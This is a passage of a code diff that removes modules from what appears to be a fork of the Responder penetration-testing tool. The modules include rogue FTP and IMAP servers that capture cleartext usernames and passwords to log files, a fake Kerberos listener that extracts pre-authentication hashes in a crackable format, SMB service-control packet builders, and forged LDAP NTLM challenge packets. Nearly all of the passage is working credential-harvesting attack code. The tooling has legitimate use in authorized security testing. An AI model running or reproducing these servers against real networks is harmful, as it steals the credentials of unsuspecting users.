self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def ParseAnswerKey(data,host):
key = data[73:81]
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
return key
##################################################################################
#SMB Server Stuff
##################################################################################
#Calculate total SMB packet len.
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
pack=data[28:30]
return pack
#SMB Header answer packet.
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("errorcode", "\x00\x00\x00\x00" ),
("flag1", "\x80"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\xff\xfe"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#SMB Negotiate Answer packet.
class SMBNegoAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("Maxbuffsize", "\x04\x11\x00\x00"),
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\x43\x00\x00"),
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
("Domain", ""),
])
def calculate(self):
##Then calculate.
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
# SMB Session/Tree Answer.
class SMBSessTreeAns(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("Command", "\x75"),
("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"),
("Bcc", "\x25\x00"),
("NativeOs", "Windows 5.1"),
("NativeOsNull", "\x00"),
("NativeLan", "Windows 2000 LAN Manager"),
("NativeLanNull", "\x00"),
("WordcountTree", "\x03"),
("AndXCommand", "\xff"),
("Reserved1", "\x00"),
("AndxOffset", "\x00\x00"),
("OptionalSupport", "\x01\x00"),
("Bcc2", "\x08\x00"),
("Service", "A:"),
("ServiceNull", "\x00"),
("FileSystem", "NTFS"),
("FileSystemNull", "\x00"),
])
def calculate(self):
##AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
##BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
class SMBSessEmpty(Packet):
fields = OrderedDict([
("Empty", "\x00\x00\x00"),
])

View file

@ -1,67 +0,0 @@
import socket
import threading
import logging
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("FTPserver", formatter)
class FTPserver():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
t = threading.Thread(name="FTPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
log.error("Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class FTPPacket(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "Welcome"),
("Terminator", "\x0d\x0a"),
])
#FTP server class.
class FTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(FTPPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
log.info('{} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

View file

@ -1,42 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#IMAP4 Greating class
class IMAPGreating(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])

View file

@ -1,53 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from IMAPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("IMAPserver", formatter)
class IMAPserver():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreating()))
data = self.request.recv(1024)
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4]
self.request.send(str(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
data = self.request.recv(1024)
if data[5:10] == "LOGIN":
Credentials = data[10:].strip()
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

View file

@ -1,157 +0,0 @@
import socket
import threading
import struct
import logging
from core.logger import logger
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("KERBserver", formatter)
class KERBserver():
def serve_thread_udp(self, host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server.serve_forever()
except Exception as e:
log.debug("Error starting UDP server on port 88: {}:".format(e))
def serve_thread_tcp(self, host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception as e:
log.debug("Error starting TCP server on port 88: {}:".format(e))
def start(self):
log.debug("online")
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
for t in [t1,t2]:
t.setDaemon(True)
t.start()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False

View file

@ -1,224 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLen", "\x0c"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x0f"),
("OpHeadASNID", "\x65"),
("OpHeadASNIDLen", "\x07"),
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
])
class LDAPSearchSupportedCapabilitiesPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x15"),#21
("SearchAttribASN2Str", "supportedCapabilities"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x16"),#22
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x17"),#23
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x17"),#23
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPSearchSupportedMechanismsPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x17"),#23
("SearchAttribASN2Str", "supportedSASLMechanisms"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x06"),#6
("SearchAttrib1ASNStr", "GSSAPI"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x0a"),#10
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x08"),#8
("SearchAttrib3ASNStr", "EXTERNAL"),
("SearchAttrib4ASNID", "\x04"),
("SearchAttrib4ASNLen", "\x0a"),#10
("SearchAttrib4ASNStr", "DIGEST-MD5"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPNTLMChallenge(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x61"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
("Status", "\x0A"),
("StatusASNLen", "\x01"),
("StatusASNStr", "\x0e"), #In Progress.
("MatchedDN", "\x04\x00"), #Null
("ErrorMessage", "\x04\x00"), #Null
("SequenceHeader", "\x87"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\x82"), #188
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x02"),
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
##Convert strings to Unicode first...
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### LDAP Len Calculation:
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View file

@ -1,121 +0,0 @@
import struct
import logging
import threading
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LDAPserver", formatter)
